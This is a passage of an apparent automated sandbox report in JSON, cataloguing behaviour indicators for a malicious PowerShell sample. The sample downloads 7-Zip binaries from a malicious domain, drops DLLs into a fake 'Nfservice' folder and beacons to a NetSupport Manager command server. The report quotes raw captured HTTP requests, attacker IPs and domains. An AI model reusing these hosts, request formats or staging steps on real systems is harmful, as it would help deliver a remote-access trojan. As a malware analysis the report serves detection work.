process","origin":"API Call","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"GET /7z.exe HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248\nHost: validatorxrp.dev\n\n GET /7z.dll HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248\nHost: validatorxrp.dev\n","id":"network-74","level":"malicious","mitre_attack_id":"T1105","name":"GETs executable from a webserver (HTTPS)","origin":"Network Traffic","relevance":5,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","id":"registry-13","level":"informative","mitre_attack_id":"T1082","name":"Reads the windows installation date","origin":"Registry Access","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"Found string \"MoveFileA\" (Indicator: \"MoveFileA\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found string \"MoveFileW\" (Indicator: \"MoveFileW\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp\")\n Found string \"MoveFileW\" (Indicator: \"MoveFileW\"; Source: \"00000000-00006340.00000000.164028.010F9000.00000002.mdmp\")","id":"string-884","level":"informative","mitre_attack_id":"T1083","name":"Able to rename or move file/directory (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp\")\n Found reference to API \"CreateProcess() failed:\" (Indicator: \"CreateProcess\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"launch Player, Time out on CreateProcess\" (Indicator: \"CreateProcess\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"CreateProcessAsUserA\" (Indicator: \"CreateProcess\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-204","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to create a new process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"WNetGetConnectionA\" (Indicator: \"NetGetConnection\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"WNetAddConnection2A\" (Indicator: \"NetAddConnection\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-257","level":"informative","mitre_attack_id":"T1049","name":"Contains ability to enumerate network resources (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"$52","id":"memorydump-2","level":"informative","mitre_attack_id":"T1071","name":"Found potential URLs in memory dumps","origin":"Memory Dumps","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\27748148BBE67A43CDBFEC6C3784862CE134E6EA\"; Key: \"BLOB\")","id":"registry-17","level":"informative","mitre_attack_id":"T1112","name":"Accesses System Certificates Settings","origin":"Registry Access","relevance":10,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"$53","id":"registry-72","level":"informative","mitre_attack_id":"T1546.015","name":"Overview of unique CLSIDs touched in registry","origin":"Registry Access","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Installation/Persistence","id":"api-315","level":"informative","mitre_attack_id":"T1055.002","name":"Attempts remote code execution into another process memory space","origin":"API Call","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"$54","id":"string-601","level":"informative","mitre_attack_id":"T1071","name":"Contains ability to communicate with network (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"WNetGetConnectionA\" (Indicator: \"NetGetConnection\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-222","level":"informative","mitre_attack_id":"T1016","name":"Contains ability to retrieve network parameters of a computer (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$55","id":"string-171","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve the OS information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$56","id":"api-11","level":"informative","mitre_attack_id":"T1082","name":"Queries volume information","origin":"API Call","relevance":2,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Found reference to API \"ControlService\" (Indicator: \"ControlService\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-192","level":"informative","mitre_attack_id":"T1543.003","name":"Contains ability to modify system service (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"file/memory contains long string with (Indicator: \"SHA384\"; File: \"neservice.exe\")\n Found reference to \".?AVCEncryptRijndael@@\" (Indicator: \"Rijndael\"; Source: \"00000000-00002888.00000000.163893.111D5000.00000004.mdmp, 00000000-00002888.00000001.165813.111D5000.00000004.mdmp\")\n Found reference to \"!\"Unable to continue\n no Aes server\"\" (Indicator: \"Aes\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to \"Rijndael\" (Indicator: \"Rijndael\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to \"SnmpUtilOidNCmp\" (Indicator: \"Oid\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to \"SnmpUtilOidCpy\" (Indicator: \"Oid\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-138","level":"informative","mitre_attack_id":"T1027","name":"Contains ability to use Cryptographic classes","origin":"File/Memory","relevance":2,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004744-00000C2C-1528884397\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004744-00000C2C-1529588122\")","id":"string-907","level":"informative","mitre_attack_id":"T1057","name":"Able to enumerate system processes using native API","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$57","id":"api-126","level":"informative","mitre_attack_id":"T1083","name":"Tries to access non-existent files (executable)","origin":"API Call","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$58","id":"api-102","level":"informative","mitre_attack_id":"T1083","name":"Calls an API typically used for searching a directory for files","origin":"API Call","relevance":5,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$59","id":"api-222","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to retrieve OS information","origin":"API Call","relevance":2,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"LockResource\" (Indicator: \"LockResource\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"FindResourceA\" (Indicator: \"FindResource\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"FindResourceExA\" (Indicator: \"FindResource\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-550","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to find and load resources of specific modules (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"\"powershell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"ALWAYSSHOWEXT\")\n \"powershell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"NEVERSHOWEXT\")","id":"registry-47","level":"informative","mitre_attack_id":"T1005","name":"Queries the display settings of system associated file extensions","origin":"Registry Access","relevance":7,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"$5a","id":"binary-37","level":"informative","mitre_attack_id":"T1036","name":"Drops files inside appdata directory","origin":"Binary File","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"Contacted Domain: \"validatorxrp.dev\" has been identified as malicious\n Contacted Domain: \"jasjdpoekkqwda.com\" has been identified as malicious","id":"network-88","level":"malicious","mitre_attack_id":"T1566","name":"Application communicates with a malicious domain","origin":"Network Traffic","relevance":10,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LEVELS\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"DEFAULTLEVEL\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"SAFERFLAGS\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"POLICYSCOPE\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LOGFILENAME\")\n \"7z.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"neservice.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","id":"registry-78","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to read software policies","origin":"Registry Access","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$5b","id":"summary-29","level":"informative","mitre_attack_id":"T1480","name":"Shows ability to use execution guardrails","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"powershell.exe\" writes file \"\\device\\namedpipe\\srvsvc\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\5b18sbum9vwe1wpztzmp.temp\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\__psscriptpolicytest_w2dbsgcb.yzg.ps1\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\__psscriptpolicytest_zduujwhy.juo.psm1\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\nfservice\\at.7z\"","id":"api-242","level":"informative","name":"Writes files","origin":"API Call","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"file/memory contains long string(File: \"7z.exe\")","id":"string-935","level":"informative","mitre_attack_id":"T1560.002","name":"Able to compress/decompress content at runtime","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"\"87.120.93.69:80\"\n \"87.120.93.69:443\"\n \"87.120.93.67:443\"","id":"network-1","level":"informative","mitre_attack_id":"T1071","name":"Contacts server","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"$5c","id":"mutant-0","level":"informative","mitre_attack_id":"T1480","name":"Creates mutants","origin":"Created Mutant","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 74370000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 73E20000\n \"7z.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 75940000\n \"neservice.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 75940000\n \"neservice.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 72AA0000","id":"module-9","level":"informative","mitre_attack_id":"T1027","name":"Loads the Bcrypt module DLL","origin":"Loaded Module","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00004744-00000C2C-1533278579\")","id":"string-879","level":"informative","mitre_attack_id":"T1205.002","name":"Able to monitor socket connection","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"POST http://87.120.93.67/fakeurl.htm HTTP/1.1\nUser-Agent: NetSupport Manager/1.3\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 22\nHost: 87.120.93.67\nConnection: Keep-Alive\" with payload:==> \"CMD=POLLINFO=1ACK=1\"","id":"network-40","level":"malicious","mitre_attack_id":"T1041","name":"Collects system information using POST request","origin":"Network Traffic","relevance":10,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Found string - \\\\.\\NSAudioFilter; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found string - \\\\.\\NSWFPDrv; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found string - \\\\.\\PointerClass0; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found string - \\\\.\\KeyboardClass0; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found string - \\\\.\\pcisys; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found string - \\\\.\\PCISYS\\r2; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found string - \\\\.\\PCISYS\\w1; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found string - \\\\.\\NSPSCR; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-145","level":"informative","mitre_attack_id":"T1564","name":"Found virtual disk drive like strings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"$5d","id":"string-602","level":"informative","mitre_attack_id":"T1573","name":"Able to use Microsoft's Enhanced Cryptographic Provider","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"GetSystemDefaultLangID\" (Indicator: \"GetSystemDefaultLangID\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-143","level":"informative","mitre_attack_id":"T1614.001","name":"Able to retrieve system language (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"\"at.7z\" copied on \"%LOCALAPPDATA%\\Nfservice\\at.7z\"\n \"lnk.7z\" copied on \"%LOCALAPPDATA%\\Nfservice\\lnk.7z\"","id":"binary-87","level":"informative","mitre_attack_id":"T1074","name":"Able to aggregate collected data, possibly for exfiltration","origin":"Binary File","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"Found HTTPS POST request to https://87.120.93.67http://87.120.93.67/fakeurl.htm","id":"network-66","level":"informative","mitre_attack_id":"T1071.001","name":"Sends GET/POST requests (HTTPS)","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Pattern Matching","description":"YARA signature for detecting PowerShell file matched on file \"sample.bin\"","id":"yara-36","level":"informative","mitre_attack_id":"T1059.001","name":"YARA signature match - PowerShell file content","origin":"YARA Signature","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Destruction","description":"\"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5B18SBUM9VWE1WPZTZMP.temp\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF267e3f.TMP\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_w2dbsgcb.yzg.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_zduujwhy.juo.psm1\" with delete access","id":"api-25","level":"informative","mitre_attack_id":"T1070.004","name":"Opens file with deletion access rights","origin":"API Call","relevance":7,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" called \"IsWow64Process\" with parameter \"4744\" - (UID: 00000000-00004744)","id":"api-146","level":"informative","mitre_attack_id":"T1057","name":"Calls an API typically used to determine if process is running under WOW64","origin":"API Call","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"$5e","id":"api-176","level":"informative","mitre_attack_id":"T1106","name":"Calls an API typically used to retrieve function addresses","origin":"API Call","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"Found string \"cmd.exe /C start %s\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-174","level":"informative","mitre_attack_id":"T1059.003","name":"Contains ability to executes commands or batch file","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"Process \"7z.exe\" (UID: 00000000-00000400) was launched with new environment variables: \"USERDNSDOMAIN=\"DESKTOP-FVVF82A\"\"\n Process \"7z.exe\" (UID: 00000000-00000400) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS\"\n Process \"7z.exe\" (UID: 00000000-00000400) was launched with missing environment variables: \"PROCESSOR_ARCHITEW6432\"","id":"target-67","level":"informative","mitre_attack_id":"T1057","name":"Process launched with changed environment","origin":"Monitored Target","relevance":10,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$5f","id":"registry-177","level":"informative","mitre_attack_id":"T1012","name":"Opens registry keys","origin":"Registry Access","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"$60","id":"string-77","level":"informative","mitre_attack_id":"T1134","name":"Contains ability to modify access token privileges (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"The script produces internet activity\n is obfuscated and drops files","id":"summary-5","level":"malicious","mitre_attack_id":"T1204.002","name":"Script file shows a combination of malicious behavior","origin":"Indicator Combinations","relevance":7,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"$61","id":"string-92","level":"informative","mitre_attack_id":"T1055","name":"Able to inject code into another process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"file/memory contains long string with (Indicator: \"Start-Sleep\"; File: \"48a683e97f9f8cada3cbcc287632ddf8024a708ddb99e54b455b549546073542.bin\")\n Found string \"Start-Sleep -Seconds 2\" (Indicator: \"Start-Sleep\"; File: \"48a683e97f9f8cada3cbcc287632ddf8024a708ddb99e54b455b549546073542.bin\")","id":"string-397","level":"informative","mitre_attack_id":"T1497.003","name":"Contains ability to delay execution (Powershell command string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134147867727899935.4744.DefaultAppDomain.powershell\" - (UID: 00000000-00004744)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00004744)","id":"api-138","level":"informative","mitre_attack_id":"T1570","name":"Calls an API typically used to create an instance of a named pipe","origin":"API Call","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"SymLoadModule\" (Indicator: \"LoadModule\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-424","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to load modules (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"7z.dll\" has type \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 6 sections\"- Location: [%LOCALAPPDATA%\\Nfservice\\7z.dll]- [targetUID: 00000000-00000400]\n \"pcicapi.dll\" has type \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 5 sections\"- Location: [%LOCALAPPDATA%\\Nfservice\\pcicapi.dll]- [targetUID: 00000000-00002888]\n \"AudioCapture.dll\" has type \"PE32 executable for MS Windows 5.00 (DLL) Intel i386 5 sections\"- Location: [%LOCALAPPDATA%\\Nfservice\\ns\\AudioCapture.dll]- [targetUID: 00000000-00000400]\n \"pcicapi.dll\" has type \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 5 sections\"- Location: [%LOCALAPPDATA%\\Nfservice\\ns\\pcicapi.dll]- [targetUID: 00000000-00002888]\n \"AudioCapture.dll\" has type \"PE32 executable for MS Windows 5.00 (DLL) Intel i386 5 sections\"- Location: [%LOCALAPPDATA%\\Nfservice\\AudioCapture.dll]- [targetUID: 00000000-00000400]","id":"binary-91","level":"informative","mitre_attack_id":"T1574.001","name":"Potential hijacking of DLL execution flow detected","origin":"Binary File","relevance":5,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"powershell.exe\" called \"LsaLookupSids\" with parameters {\"PolicyHandle\": \"18b52a598a0\"\n \"Count\": \"1\"}","id":"api-255","level":"informative","mitre_attack_id":"T1033","name":"Calls an API typically used to retrieve user names for specified SIDs","origin":"API Call","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp\")\n Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-80","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to determine disk drive type (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$62","id":"string-121","level":"informative","mitre_attack_id":"T1033","name":"Contains ability to retrieve usernames and/or user information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Able to import cryptographic keys (seen in ransomware)\n Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP\n Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: Calls an API typically used to import cryptographic keys into a CSP\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Dropped file has high entropy (likely encrypted/compressed content)","id":"summary-28","level":"informative","mitre_attack_id":"T1027","name":"Shows ability to obfuscate file or information","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006340.00000000.164028.010F9000.00000002.mdmp\")","id":"string-247","level":"informative","mitre_attack_id":"T1124","name":"Contains ability to retrieve machine time (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: 